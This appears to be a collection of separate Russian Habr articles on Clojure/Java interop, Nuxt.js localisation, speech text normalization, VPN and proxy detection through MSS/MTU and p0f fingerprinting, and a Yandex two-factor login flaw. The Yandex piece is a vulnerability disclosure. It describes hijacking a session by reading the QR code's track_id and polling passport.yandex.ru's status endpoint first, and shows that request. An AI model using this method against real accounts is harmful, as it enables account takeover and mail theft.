Clojure использует свою реализацию стандартных структур, со своими интерфейсами. Для пущего удобства все стандартные коллекции реализуют интерфейсы из *java.util.\**. Например, все последовательности (списки, вектора, даже ленивые последовательности) реализуют интерфейс *java.util.List*. Разумеется, все «мутирующие» методы (*add*, *clear* и т.п.) просто выбрасывают исключение *UnsupportedOperationException*. Аналогично с множествами и словарями — они реализуют *Set* и *Map* соответственно.
Все функции реализуют 2 стандартных интерфейса *java.lang.Runnable* и *java.util.concurrent.Callable*. Это может быть удобно при прямой работе с *java.lang.concurent* (хотя, скорее всего, лучше с executor'ами работать прямо из Clojure).
При работе с длинной арифметикой важно помнить, что в Clojure свой тип для длинных целых [clojure.lang.BigInt](https://github.com/clojure/clojure/blob/master/src/jvm/clojure/lang/BigInt.java). При этом Clojure умеет работать и со стандартным *java.util.math.BigInteger*. С длинными вещественными такого «сюрприза» нету — используется стандартный *java.util.math.BigDecimal*. Также есть специальный тип *clojure.lang.Ratio* для рациональных дробей.
Компиляция и gen-class
----------------------
Наверное, самый очевидный вариант — [скомпилировать](http://clojure.org/compilation) clojure-код и получить набор class-файлов. Добавляем команду [gen-class](http://clojure.github.com/clojure/clojure.core-api.html#clojure.core/gen-class) в объявление нашего неймспейса, указываем сигнатуры для функций:
```
(ns clj-lib.core
(:use clj-lib.util)
(:gen-class
:main false
:name "cljlib.CljLibCore"
:prefix ""
:methods
[^:static [prod [Iterable] Number]
^:static [prod [Number Iterable] Number]
^:static [append [Object Object] Object]
^:static [pretty [Object] Object]]))
...
```
Тут мы указали *Iterable* как тип аргумента для функции *prod*. На самом деле туда можно передать и *ISeq*, и массив, и даже *String*. Но, скорее всего, в Java удобнее будет работать именно с этим интерфейсом.
**Имя класса можно выбрать любое.**Если параметр не указать, то будет использовано *clj\_lib.core*. Для протокола будет сгенерирован класс *clj\_lib.core.IAppendable* в пакете *clj\_lib.core*. Т.е у нас будет класс и пакет с одинаковым именем. Поэтому лучше указать имя класса явно.
После этого нужно скомпилировать неймспейс. Выполняем в REPL'е:
```
(compile 'clj-lib.core)
```
Получаем файл *classes/cljlib/CljLibCore.class*, который можно напрямую использовать в нашем приложении. Но компилировать из REPL-а откровенно неудобно, поэтому лучше настроить [leiningen](http://leiningen.org) проект:
```
(defproject clj-lib
...
:aot [my-app.core],
...
)
```
Теперь при создании jar-ок leiningen будет автоматически компилировать указанный неймспейс. Выполняем команду:
```
lein jar
```
Подключаем my-lib.jar и clojure.jar к нашему Java-проекту и используем:
```
import java.math.BigDecimal;
import java.util.Arrays;
import java.util.List;
import clj_lib.core.IAppendable;
import cljlib.CljLibCore;
public class Program {
static void pr(Object v) {
System.out.println(v);
}
static class SomeClass implements IAppendable {
public Object append(Object value) {
// some code
return null;
}
}
public static void main(String[] args) throws Exception {
pr(CljLibCore.pretty(1));
pr(CljLibCore.pretty("x"));
Integer x = (Integer) CljLibCore.append(-1, 1);
pr(CljLibCore.append(x, 1));
pr(CljLibCore.append(new SomeClass(), new SomeClass()));
List v = Arrays.asList(1, 2, 3, 4, 5);
pr(CljLibCore.prod(v));
pr(CljLibCore.prod(BigDecimal.ONE, v));
}
}
```
При загрузке класса будет автоматически инициализирован рантайм Сlojure — никаких дополнительных действий не требуется. Еще важно заметить, что мы можем расширять все протоколы напрямую из Java — нужно лишь реализовать соответствующий интерфейс. Но вот работать с объектами все равно лучше через функции, а не вызывать методы интерфейса-протокола. В противном случае не будет работать [extend-protocol](http://clojure.github.com/clojure/clojure.core-api.html#clojure.core/extend-protocol) — очень нехорошо.
Пожалуй, главный минус этого подхода — необходимость компиляции как таковой. Еще из IDE недоступна документация для функций, нужно адаптировать исходный код библиотеки (или делать обвязку на Clojure). С другой стороны, в некоторых специфических случаях единственный вариант — иметь «честный» class-файл в classpath.
Используем *clojure.lang.RT*
----------------------------
Сердцем всего рантайма Сlojure является именно этот класс. В нем определены статические методы для создания кейвордов, символов, векторов, реализации базовых функций (например, *first*и *rest*) и еще много чего. Класс недокументированный, не имеет постоянного интерфейса — используем на свой страх и риск. Зато там есть несколько полезных функций, делающих интеграцию предельно простой:
* *Var var(String ns, String name)* — возвращает var-ячейку по полному имени;
* *Keyword keyword (String ns, String name)* — возвращает keyword (первый параметр может быть null);
* *void load(String path)* — загружает clj-скрипт по указанному пути.
И еще много других, проще обратится к [реализации](https://github.com/clojure/clojure/blob/master/src/jvm/clojure/lang/RT.java). Вызвать произвольную функцию можно так:
```
RT.var("clojure.core", "eval").invoke("(+ 1 2)");
```
Перепишем вышеприведенный пример с использованием класса *RT*:
```
import java.math.BigDecimal;
import clojure.lang.RT;
import clojure.lang.Sequential;
import clojure.lang.Var;
public class Program {
static void pr(Object v) {
System.out.println(v);
}
public static void main(String[] args) throws Exception {
Var pretty = RT.var("clj-lib.core", "pretty");
Var append = RT.var("clj-lib.core", "append");
Var prod = RT.var("clj-lib.core", "prod");
pr(pretty.invoke(1));
pr(pretty.invoke("x"));
Integer x = (Integer) append.invoke(-1, 1);
pr(append.invoke(x, 1));
Sequential v = RT.vector(1, 2, 3, 4, 5);
pr(prod.invoke(v));
pr(prod.invoke(BigDecimal.ONE, v));
}
}
```
Теперь мы уже не можем расширить протокол напрямую из Java — интерфейс *IAppendable* создается в рантайме и недоступен при компиляции нашего java-файла. Зато отпадает необходимость в AOT.
Java-интерфейс и reify
----------------------
На самом деле это не отдельный способ, скорее вариант, как можно оформить взаимодействие с библиотекой. Пишем Java интерфейс:
```
public interface ICljLibCore {
Number prod(Iterable x);
Number prod(Number s, Iterable x);
Object append(Object self, Object value);
String pretty(Object x);
}
```
После этого в Clojure создаем подобную функцию:
```
(defn get-lib []
(reify ICljLibCore
(prod [_ x] (prod x))
(prod [_ s x] (prod x))
(append [_ t v] (append t v))
(pretty [_ x] (pretty x))))
```
При обращении к библиотке мы создаем экземпляр ICljLibCore и записываем его в статическое поле:
```
public static final ICljLibCore CLJ_LIB_CORE = (ICljLibCore) RT.var("clj-lib.core", "get-lib").invoke();
...
CLJ_LIB_CORE.pretty("1");
```
Недостаток подхода — приходится вручную создавать интерфейс. С другой стороны, в этом интерфейсе можно поместить честные java-doc. Проще будет заменить Clojure библиотеку реализацией на Java (если вдруг перестанет хватать скорости), проще писать тесты. И, конечно же, никого AOT.
Заключение
----------
За пределами статьи остались некоторые альтернативные варианты. Например, автоматически генерировать классы-обертки на основе Clojure кода и мета-данных (и оформить это в виде leiningen-плагина). Можно сделать прозрачную интеграцию в DI-фреймворк (например, Spring или Guice). Вариантов много, со своими за и против. | https://habr.com/ru/post/171361/ | null | ru | null |
# Как взломать двухфакторную аутентификацию Яндекса
Наконец-то Яндекс запилил двухфакторную аутентификацию. Я не ждал подвоха, но, похоже, зря.
Как работает двухфакторная аутентификация Яндекса?
В браузере отображается QR-код, юзер сканирует его специальным приложением, браузер сразу это чувствует и авторизует пользователя.
QR-код расшифровывается в ссылку вот такого вида:
[yandex.ru/promo/2fa?track\_id=38e701d0bb5abaf50d381c3f95e0f341a8](http://yandex.ru/promo/2fa?track_id=38e701d0bb5abaf50d381c3f95e0f341a8)
Внутри всего этого веб-страничка с QR-кодом постоянно опрашивает сервер в ожидании авторизации:
```
POST /auth/magic/status/ HTTP/1.1
Host: passport.yandex.ru
track_id=38e701d0bb5abaf50d381c3f95e0f341a8
```
Как только пользователь отсканирует приложением Яндекса QR-код, следующий такой запрос отдаст браузеру куку.
В чем здесь проблема?
Для получения куки используется тот же ID, что закодирован в QR-коде.
Обратите внимание на параметр track\_id в ссылке и такой же параметр в POST-запросе.
Это значит, что злоумышленник может подсмотреть из-за плеча пользователя его QR-код, достать из него ID сессии, и, притворившись браузером, выполнять часто-часто такой же запрос.
И если хакер раньше жертвы успеет получить сессию — он сразу окажется в аккаунте пользователя.
Я написал на коленке простенькое приложение под Android, которое демонстрирует эту уязвимость.
Достаточно встать за спиной жертвы и успеть отсканировать qr-код раньше нее, пока жертва запускает приложение и вводит пин-код.
После того, как она авторизуется, приложение покажет вам почтовый ящик жертвы.
Приложение декодирует QR-код с помощью библиотеки [github.com/dm77/barcodescanner](https://github.com/dm77/barcodescanner), быстро-быстро делает POST запросы к Яндексу, получает куки, подставляет их в WebView и открывает в нем Яндекс.Почту.
Для успешной атаки требуется относительно быстрый интернет на смартфоне (чтобы успеть получить cookie раньше жертвы) и желательна хорошая камера на устройстве. У меня код успешно распознавался с расстояния до метра, при этом мои подопытные друзья ничего не замечали и очень удивлялись этому фокусу, когда я им показывал их почту на своем телефоне. | https://habr.com/ru/post/249757/ | null | ru | null |
# Определяем пользователей VPN (и их настройки!) и прокси со стороны сайта
*We can save the day from dark, from bad
There's no one we need*
Многие из вас используют VPN или прокси в повседневной жизни. Кто-то использует его постоянно, получая доступ к заблокированным на государственном или корпоративном уровне ресурсам, многие используют его изредка, для обхода ограничений по географическому положению. Как вы можете знать, крупные интернет-игроки в сфере стриминга видео, музыки и продажи игр никогда не любили пользователей, которые легко обходят географические ограничения, разблокируя недоступный в их стране контент, или совершая покупки заметно дешевле. За примерами не нужно далеко ходить: Netflix изменил свое соглашение об использовании, добавив пункт о блокировке VPN, всего 2 месяца назад; Hulu тоже грешил блокировкой пользователей, а Steam вообще подозрительно смотрит на не-русскоязычных пользователей из России. В последнее время, компании пытаются блокировать уже не конкретных пользователей, а сами IP-адреса VPN-сервисов, создавая определенные неудобства уже самому VPN-сервису и его пользователям. Похоже, они не используют никаких спецсредств, а блокируют выборочно и вручную. Хоть я и не поддерживаю какие-либо блокировки вообще, меня заинтересовала техническая часть вопроса: можно ли как-то определить использование прокси-серверов и VPN со стороны сервера, не прикладывая особых усилий?
Можно, при определенных условиях. И достаточно точно.
### MSS и MTU
MTU, или Maximum Transmission Unit — максимальное количество данных, которые могут быть переданы в одном пакете. MTU установлен у каждого сетевого адаптера, даже у тех маршрутизаторов, через которые трафик от вас до удаленного сервера идет транзитом. В подавляющем большинстве случаев, в интернете используют MTU 1500, однако бывают заметные исключения, которые, к слову, зачастую подчиняются некоторым правилам.
Когда ваш браузер или любое другое ПО, работающее с сетью, создает TCP-соединение к удаленному серверу, в заголовки пакета помещается значение Maximum Segment Size (MSS), которое сообщает серверу, какого максимального размера сегменты он может передавать в одном пакете. Это значение очень близко́ к MTU, оно сразу дает понять серверу о возможностях вашего интернет-соединения, исключая излишнюю фрагментацию и позволяя утилизировать ваш канал по полной.
Когда вы отправляете пакет, будучи подключенным к VPN по какому-то протоколу (PPTP, L2TP(±IPsec), IPsec IKE), он помещается (инкапсулируется) в еще один пакет, что вносит свои накладные расходы, и большие пакеты, которые были бы отправлены без фрагментации без VPN, теперь придется фрагментировать. Чтобы избежать такой фрагментации, ОС устанавливает на сетевом интерфейсе MTU меньше, чем MTU реального сетевого интерфейса, из-за чего ОС не пытается создавать большие пакеты, которые требовали бы фрагментации.
В случае с PPTP, L2TP(±IPsec), IPsec, как я понимаю, нет каких-то стандартов на MTU туннеля, все устанавливают такие значения, чтобы работало в большинстве случаев, и устанавливаются они на глаз. Как правило, это 1400, что позволяет использовать, скажем, PPTP на каналах с MTU до 1440 без фрагментации (например, когда для доступа в интернет требуется еще один туннель, как часто бывает у российских провайдеров). OpenVPN — пожалуй, самый популярный вариант VPN — напротив, пошел другим путем.
### OpenVPN
В целях совместимости со старым или просто кривым софтом, OpenVPN по умолчанию не устанавливает меньшее значение MTU на VPN-интерфейсе, а изменяет значение MSS внутри инкапсулированного TCP-пакета. За это отвечает параметр mssfix, установленный по умолчанию в значение 1450. Он изменяет MSS таким образом, чтобы он полностью утилизировал канал с MTU 1450, т.е. высчитывает свои накладные расходы таким образом, чтобы они проходили через канал с MTU 1450 и более без фрагментации. Вследствие этого, у нас появляется возможность не просто определить пользователей OpenVPN со стандартным mssfix 1450, но и определить их протокол подключения (IPv4, IPv6), протокол транспортного уровня (TCP, UDP), параметры шифрования, сжатия и MAC, т.к. они вносят свои уникальные накладные расходы и отражаются в MSS.
Давайте посмотрим на типичные значения MSS:
| Протокол | Размер блока | MAC | Сжатие | MSS |
| --- | --- | --- | --- | --- |
| UDP | 64 | SHA1 | - | 1369 |
| UDP | 64 | SHA1 | + | 1368 |
| TCP | 64 | SHA1 | - | 1367 |
| TCP | 64 | SHA1 | + | 1366 |
| UDP | 128 | SHA1 | - | 1353 |
| UDP | 128 | SHA1 | + | 1352 |
| TCP | 128 | SHA1 | - | 1351 |
| TCP | 128 | SHA1 | + | 1350 |
| UDP | 128 | SHA256 | - | 1341 |
| UDP | 128 | SHA256 | + | 1340 |
| TCP | 128 | SHA256 | - | 1339 |
| TCP | 128 | SHA256 | + | 1338 |
Если используется шифр с размером блока в 64 бита, это, вероятно, Blowfish, если 128 — вероятно, AES.
Для пущей проверки теории было протестировано 2 VPN-сервиса: VyprVPN и ibVPN. Оба сервиса подвержены определению настроек описанным методом.
Если вы не хотите, чтобы вас обнаруживали таким способом, вы можете либо отключить mssfix, установив его в 0 и на сервере, и на клиентах, получив таким образом MSS 1460 (в случае с IPv4), что соответствует MTU 1500 — типичному MTU для обычного проводного соединения, которое есть у подавляющего большинства пользователей. Однако, в этом случае вы получите излишнюю фрагментацию, что ведет к повышению задержек и уменьшению пропускной способности, поэтому может иметь смысл установить MTU в 1400, 1380 или похожее (должно быть кратно 2, а лучше 10), т.к. такие значения часто используются провайдерами, например, мобильного интернета.
### Прокси
Способов определения прокси-сервера, если он не добавляет никаких заголовков (вроде X-Forwarded-For), не так-то много. Чем же технически отличается прокси от VPN? В случае с VPN, удаленный сервер получает от вас пакет, которая создала ваша ОС, в неизменном (зачастую) виде. Прокси же, напротив, получает только всю информацию об удаленном сервере (IP, порт, прочие параметры) и данные, создавая пакет на стороне самого прокси, и отправляет его. Разные ОС по-разному создают пакеты, различия можно встретить даже от версии к версии. Мы с большой точностью можем определить ОС создателя пакета, версия нас не слишком интересует.
Как мне кажется, прокси чаще всего запускают на Linux и BSD, а используют чаще под Windows. Пользователи часто не думают о смене User-Agent, который включает используемую ОС, в браузере, а это нам на руку.
### p0f
Существует замечательный проект [p0f](http://lcamtuf.coredump.cx/p0f3/), который отлично впишется под наши нужды. Пассивно прослушивая трафик, он может определить ОС, MTU и браузер, оповестить о несовпадении ОС создателя пакетов и ОС в User-Agent. К тому же, он имеет API. Немного [модифицировав его](https://github.com/ValdikSS/p0f-mtu), добавив экспорт MTU через API и обновив сигнатуры, мы можем с определенной точностью детектировать пользователей популярных VPN-протоколов, пользователей прокси и тех пользователей, которые подделывают User-Agent.
### ＷＩＴＣＨ？
Немного подумав, я решил сделать небольшой веб-сервис для реализации своих идей, т.к., по какой-то причине, я не смог найти ничего похожего.
Из этого получился [ＷＩＴＣＨ？](http://witch.valdikss.org.ru/), который с легкостью расскажет вам о настройках вашего OpenVPN-соединения (если вы не трогали mssfix, конечно же), попытается определить вашу ОС и сравнить ее с ОС в User-Agent, получит PTR-запись для вашего IP и сравнит ее с набором правил, определяя, используете ли вы интернет-канал, рассчитанный на домашних или серверных пользователей.
```
First seen = 2015/07/24 17:19:29
Last update = 2015/07/24 18:39:37
Total flows = 7
Detected OS = Linux 3.11 and newer
HTTP software = Firefox 10.x or newer (ID seems legit)
MTU = 1409
Network link = OpenVPN UDP bs64 SHA1
Language = Russian
Distance = 15
Uptime = 1 days 19 hrs 39 min (modulo 165 days)
PTR test = Probably home user
Fingerprint and OS match. No proxy detected.
OpenVPN detected. Block size is 64 bytes long (probably Blowfish), MAC is SHA1.
```
ＷＩＴＣＨ？ также без проблем определяет пользователей Tor Browser, т.к. он использует одинаковый статичный User-Agent (с Windows) на всех ОС, а exit nodes запущены под Linux и FreeBSD.
В ходе тестов выяснилось много интересных подробностей:
* Мобильный интернет от Beeline пропускает все соединения через прокси под Linux. Обнаружилось это, когда человек с Beeline зашел с iPhone на ＷＩＴＣＨ？, и ОС определилась как Linux. Вероятно, именно через него они [меняют HTML-теги](http://habrahabr.ru/post/263429/), [добавляют тулбар с поиском mail.ru](http://habrahabr.ru/post/257133/) и [изменяют дизайн сайтов](http://habrahabr.ru/post/262687/).
* MTU у мобильных устройств может быть буквально какой угодно, но, как правило, заканчивается на 0. Исключение — Yota с 1358. От чего это зависит — непонятно, подозреваю, что и от настроек на стороне оператора, и от телефонного модуля. Одна и та же SIM в разных телефонах использует разные MTU.
* Код, который отвечает за mssfix в OpenVPN, очень медленный. Если у вас есть знания в сетях, C, желание и время, пожалуйста, посмотрите, можно ли его оптимизировать.
**Скрытый текст**Не знаю, что на меня нашло полгода назад, но я решил пересмотреть мультсериал W.I.T.C.H., и, не обнаружив нормального релиза, скупил все скупаемое, скачал все скачиваемое и сделал релиз с английским, французским, испанским, нидерландским, итальянским, немецким, русским, норвежским, датским, шведским, финским, чешским, турецким, польским и венгерским языками.
[Первый](https://kat.cr/w-i-t-c-h-season-1-multilingual-dvdrip-v2-t10822015.html) и [второй](https://kat.cr/w-i-t-c-h-season-2-multilingual-dvdrip-t10426848.html) сезоны.Такие дела. | https://habr.com/ru/post/216295/ | null | ru | null |
# Nuxt.js app от UI-кита до деплоя. Часть 3: Мультиязычность
Привет!
Это третья часть цикла статей о создании современного блога на Nuxt.js. Сегодня реализуем мультиязычность в приложении, которое мы написали в [первой](https://habr.com/ru/company/timeweb/blog/543090/) и [второй](https://habr.com/ru/company/timeweb/blog/545950/) частях.
> Обратите внимание, что код каждой части можно найти в собственной ветке на [Github](https://github.com/mikhail-shpakov/nuxt-blog/tree/part-3), а в `master` доступна версия приложения из последней опубликованной статьи.
### Зачем нужен мультиязычный сайт?
Преимущества будут различны и зависят от сферы вашего бизнеса, конкретного продукта или услуги. Однако приведем самые значимые, на наш взгляд, плюсы, которые может дать мультиязычный сайт:
* привлечение к продукту более широкой аудитории,
* уменьшение отказов и повышение конверсии,
* установление конкурентного преимущества,
* международная поисковая оптимизация,
* развитие бренда.
Многоязычный веб-сайт может изменить бизнес и помочь продукту стать более конкурентоспособным на мировом рынке.
### @nuxtjs/i18n
Для реализации мультиязычности мы будем использовать модуль [@nuxtjs/i18n](https://i18n.nuxtjs.org/), который предоставляет нам следующие возможности:
* автоматическая генерация маршрутов и создание настраиваемых путей,
* поисковая оптимизация,
* “ленивая” загрузка переводов для отдельных языков,
* автоматическое определение языка браузера пользователя и перенаправление на нужную версию сайта,
* разные доменные имена для разных языков *(в данном приложении мы не будем это использовать)*,
* сохранение текущей локали и переводов с помощью Vuex *(в данном приложении мы не будем это использовать)*.
Для начала установим модуль:
```
npm i nuxt-i18n
```
Теперь создадим в корне проекта директорию `locales`. Эта директория будет содержать файл конфигурации `nuxt-i18n`, а также файлы с переводами.
Создадим файл конфигурации `i18n-nuxt-config.js` со следующим содержимым:
```
export const i18n = {
locales: [
{
code: 'en',
iso: 'en-US',
name: 'EN',
file: 'en.js',
},
{
code: 'ru',
iso: 'ru-RU',
name: 'RU',
file: 'ru.js',
},
],
lazy: true,
langDir: '/locales/',
defaultLocale: 'en',
detectBrowserLanguage: {
alwaysRedirect: true,
fallbackLocale: 'en',
onlyOnRoot: true,
},
}
```
Здесь мы указываем ряд опций, которые должны быть переданы в явном виде или отличаться от значений по умолчанию. Полный список доступных опций можно найти по [ссылке](https://i18n.nuxtjs.org/options-reference).
Давайте рассмотрим некоторые из них поподробнее:
1. `locales` — список языков, которые будут реализованы в нашем приложении. Как вы видите, в качестве второго языка был выбран русский (`RU`), но можно также указать любой другой язык или несколько языков. Обратите внимание, что в каждом элементе массива указано свойство `file`. Это обязательное свойство, если мы хотим использовать “ленивую” загрузку переводов.
2. `lazy` — признак, что мы хотим использовать “ленивую” загрузку переводов. В этом случае после открытия пользователем нашего приложения он скачает с сервера только файл с переводом для установленного у него языка, что положительно скажется на скорости загрузки сайта.
3. `langDir` — эта директория будет использоваться как корневая при поиске файлов с переводами.
4. `defaultLocale` — локаль, которая будет использоваться по умолчанию. Для этого языка в строке `URL` не будет использован префикс, а для других — будет.
То есть в нашем случае для английского языка адрес в браузере будет выглядеть следующим образом: `https://nuxt-blog.hostman.site`, а для русского так: `https://nuxt-blog.hostman.site/ru`.
5. `detectBrowserLanguage` — с помощью этих опций мы говорим приложению использовать при первом заходе пользователя в приложение язык, установленный в браузер, чтобы отобразить сайт на нужном языке, а если этот язык в приложении не реализован, то открыть английскую версию.
Отлично! Мы разобрались с опциями и готовы двигаться дальше.
Нам нужно создать файлы `en.js` и `ru.js`, которые будут содержать переводы на эти языки. Файлы имеют одинаковую структуру и отличаются только переводом, поэтому достаточно рассмотреть подробно один из них. Например, `en.js`:
```
export default {
home: {
title: 'Nuxt blog',
subtitle: 'The best blog you can find on the global internet',
postCount: 'Total posts: ',
},
post: {
linkHome: 'Home',
},
footer: {
feedback: 'Contact us',
copyright: 'All rights reserved',
},
}
```
Как можно заметить, здесь мы сгруппировали переводы по логическим группам, что позволит в дальнейшем удобно обращаться к нужным свойствам.
В нашем случае используем всего один файл для одного языка, но для больших приложений удобно создавать отдельную директорию для каждого языка и разделять перевод на несколько файлов по определенному принципу. Например, одна страница — один файл, объединяя затем все эти файлы в один объект с помощью стандартного механизма [импортов](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import).
Итоговая структура директории `locales` должна иметь следующий вид:
```
locales/
-- i18n-nuxt-config.js
-- en.js
-- ru.js
```
Директория `locales` на [Github](https://github.com/mikhail-shpakov/nuxt-blog/tree/part-3/locales).
Всё, что нам остаётся сделать, — добавить информацию об этом модуле в секцию `modules` в файле `nuxt.config.js`:
```
{
modules: [
['nuxt-i18n', i18n],
]
}
```
Не забудьте добавить в начало файла импорт переменной `i18n`, которую мы использовали выше, с нашей конфигурации:
```
import { i18n } from './locales/i18n-nuxt-config'
```
### Использование в компонентах
Мы подготовили переводы для разных языков, и теперь самое время начать использовать их в наших компонентах.
Модуль `@nuxtjs/i18n` добавляет к экземпляру `Vue` несколько функций (будут доступны из контекста `this`). Мы будем использовать следующие:
1. `$t()` — с помощью этой функции мы можем получить доступ к любому свойству перевода, указанному в наших файлах `en` и `ru`. Например, `$t('home.title')`.
2. `localePath(, ...)` — возвращает локализованный URL-адрес для запрашиваемой страницы. Первым параметром может быть либо путь, либо имя маршрута, либо объект для более сложных маршрутов. Узнать подробнее об этой функции и посмотреть примеры её использования можно [здесь](https://i18n.nuxtjs.org/basic-usage#nuxt-link).
Поскольку использование во всех компонентах будет однотипное, то для примера рассмотрим компонент `LinkToHome`, а остальные можно рассмотреть самостоятельно на `Github`.
Шаблон компонента `LinkToHome` после изменений будет выглядеть следующим образом:
```
section.section
.content
nuxt-link.lth\_\_link(
class="primary"
:to="localePath('/')"
)
img.lth\_\_link-icon(
src="~/assets/icons/home.svg"
alt="icon-home"
)
| {{ $t('post.linkHome') }}
```
Мы заменили прямое указание маршрута в `nuxt-link` на вызов функции `localePath`, передав в качестве параметра нужный нам маршрут. Точно так же прямое указание названия ссылки мы заменили на вызов функции `$t`, передав параметром нужное нам свойство.
→ Компонент `LinkToHome` на [Github](https://github.com/mikhail-shpakov/nuxt-blog/tree/part-3/components/LinkToHome/index.vue)
Также изменения были выполнены в компонентах [DbFooter](https://github.com/mikhail-shpakov/nuxt-blog/tree/part-3/components/DbFooter/index.vue), [PostCard](https://github.com/mikhail-shpakov/nuxt-blog/tree/part-3/components/PostCard/index.vue), [PostList](https://github.com/mikhail-shpakov/nuxt-blog/tree/part-3/components/PostList/index.vue), [HomePage](https://github.com/mikhail-shpakov/nuxt-blog/blob/part-3/pages/index.vue).
### Посты на разных языках
Вы, наверное, обратили внимание, что в файлах `en.js` и `ru.js` не было никакой информации о постах, которые мы храним в отдельных файлах в директории `content/posts`. Настало время поговорить об этом!
До этого в файле `posts.ts` мы хранили и экспортировали информацию о наших постах следующим образом:
```
export default [
{
id: 1,
title: 'Post 1',
desc:
'A short description of the post to keep the user interested.' +
' Description can be of different lengths, blocks are aligned' +
' to the height of the block with the longest description',
file: 'content/posts/1.md',
img: 'assets/images/1.svg',
},
...
] as Post[]
```
Но в таком варианте мы не можем указывать разные файлы и метаинформацию для одного поста на разных языках. Исправим это и приведём наш файл к следующему виду:
```
const en = [
{
id: 1,
title: 'Post 1',
desc:
'A short description of the post to keep the user interested.' +
' Description can be of different lengths, blocks are aligned' +
' to the height of the block with the longest description',
file: 'content/posts/1.md',
img: 'assets/images/1.svg',
},
...
] as Post[]
const ru = [
{
id: 1,
title: 'Пост 1',
desc:
'Краткое описание поста, чтобы заинтересовать пользователя.' +
' Описание может быть разной длины, блоки выровнены' +
' по высоте блока с самым длинным описанием',
file: 'content/posts/1.md',
img: 'assets/images/1.svg',
},
...
] as Post[]
export default { en, ru }
```
Теперь у нас есть две переменных `en` и `ru`, каждая из которых хранит собственный список постов для своего языка.
→ Файл на [Github](https://github.com/mikhail-shpakov/nuxt-blog/blob/part-3/content/posts.ts)
В данном случае для обоих языков будут использованы одни и те же файлы, так как это демонстрационное приложение, и здесь мы хотим показать сам подход к реализации. В реальном приложении файлы, конечно, должны быть разные.
Давайте теперь немного изменим реализацию компонентов, где используется эта информация.
#### Компонент `PostList`
В компоненте `PostList` требуется заменить свойство `posts` объекта `data` на вычисляемое свойство с таким же названием, которое будет выглядеть следующим образом:
```
computed: {
posts(): Post[] {
const { locale } = (this as any).$i18n
return posts[locale as 'en' | 'ru']
},
},
```
→ Компонент на [Github](https://github.com/mikhail-shpakov/nuxt-blog/tree/part-3/components/PostList/index.vue)
#### Отдельная страница поста `post/_id`
На отдельной странице поста реализовано вычисляемое свойство `currentPost`, давайте немного изменим его, чтобы оно выглядело следующим образом:
```
computed: {
currentPost(): Post | undefined {
const { locale } = (this as any).$i18n
return posts[locale as 'en' | 'ru'].find(
(post: Post) => post.id === this.currentId
)
},
},
```
→ Файл на [Github](https://github.com/mikhail-shpakov/nuxt-blog/blob/part-3/pages/post/_id.vue)
Теперь наши посты на всех страницах будут корректно загружаться в зависимости от выбранного языка.
В данном случае мы не учитываем сценарий, когда пост с конкретным `id` существует только на одном языке, так как наше приложение демонстрационное и мы можем этим пренебречь. Не забудьте учесть этот сценарий, если будете реализовывать подобную логику в реальном приложении.
### Переключатель языка
На этом этапе реализуем переключатель, который позволит выбирать нужный нам язык на сайте.
В [прошлой части](https://habr.com/ru/company/timeweb/blog/545950/) мы создали компонент `AppOptions`, который служит обёрткой для переключателей темы и языка.
Давайте создадим компонент `SwitcherLang` в директории `components/AppOptions` и приведём шаблон компонента `AppOptions` к следующему виду:
```
section.section
.content
.app-options
switcher-lang
switcher-color-mode
```
Взглянем на шаблон компонента `SwitcherLang`:
```
select(
v-model="selected"
class="body3 medium"
@change="changeLocale"
)
option(
v-for="locale in $i18n.locales"
:key="locale.code"
:value="locale.code"
) {{ locale.name }}
```
Как вы видите, мы просто реализуем стандартный `select`, в котором показываем доступные в приложении языки. При изменении значения в этом `select` мы будем вызывать метод `changeLocale`.
Далее посмотрим на секцию `script`:
```
import Vue from 'vue'
export default Vue.extend({
name: 'SwitcherLang',
data: () => ({
selected: '' as 'en' | 'ru',
}),
created() {
this.selected = (this as any).$i18n.locale
},
methods: {
changeLocale() {
const switchPath = (this as any).switchLocalePath(this.selected)
this.$router.push(switchPath)
},
},
})
```
В методе `changeLocale` мы используем ещё одну функцию, которую предоставляет нам модуль `@nuxt/i18n`, — `switchLocalePath`. Эта функция возвращает ссылку на текущую страницу на выбранном языке.
Также обратите внимание, что мы храним значение выбранного языка в локальной переменной `selected` и при создании экземпляра `Vue` в хуке `created` синхронизируем её значение с глобальным значением, которое хранится в `$i18n`.
→ Компонент на [Github](https://github.com/mikhail-shpakov/nuxt-blog/tree/part-3/components/AppOptions/SwitcherLang)
### Заключение
Что у нас получилось:
* [дизайн,](https://www.figma.com/file/s1B9t0XOmRhtNY8daezIs7/MVP-on-a-modern-stack-in-1-day?node-id=34%3A0)
* [Github,](https://github.com/mikhail-shpakov/nuxt-blog/tree/part-3)
* [демо](https://nuxt-blog.hostman.site/).
Пишите в комментариях, если будут вопросы или непонятные моменты. До встречи в следующей части! | https://habr.com/ru/post/550144/ | null | ru | null |
# Нормализация текста в задачах распознавания речи
При решении задач, связанных с распознаванием (Speech-To-Text) и генерацией (Text-To-Speech) речи важно, чтобы транскрипт соответствовал тому, что произнёс говорящий — то есть реально **устной** речи. Это означает, что прежде чем **письменная** речь станет нашим транскриптом, её нужно **нормализовать**.
Другими словами, текст нужно провести через несколько этапов:
* Замена числа прописью: `1984 год` -> *тысяча девятьсот восемьдесят четвёртый год*;
* Расшифровка сокращений: `2 мин. ненависти` -> *две минуты ненависти*;
* Транскрипция латиницы: `Orwell` -> `Оруэлл` и т.д.
В этой статье я коротко расскажу о том, как развивалась нормализация в датасете русской речи [Open\_STT](https://habr.com/ru/post/474462/), какие инструменты использовались и о нашем подходе к задаче.
Как вишенка на торте, мы решили выложить наш нормализатор на базе seq2seq в открытый доступ: [ссылка на github](https://github.com/snakers4/russian_stt_text_normalization). Он максимально прост в использовании и вызывается одним методом:
```
norm = Normalizer()
result = norm.norm_text('С 9 до 11 котики кушали whiskas')
```
```
>>> 'С девяти до одиннадцати котики кушали уискас'
```
Подробнее про задачу
--------------------
Так в чём же, собственно, проблема? Сокращения на то и сокращения, что их можно легко привести к начальной форме. На самом деле, тут всё не так однозначно и без интуиции носителя языка во всех нюансах тяжело разобраться.
Чтобы показать, насколько глубока кроличья нора, приведу несколько примеров с числительными:
* `2е` — *второе(ые)*, но `д. 2е` — *два е*;
* `2 части` — *две* части, но `нет 2 части` — нет *второй* части;
* `длиной до 2 км` — длиной до *двух* километров, но `едем до 2 км` — едем до *второго* километра;
* `= 2/5` — равно *две пятых*, но `д. 2/5` — дом *два дробь пять* или даже — *два пять*.
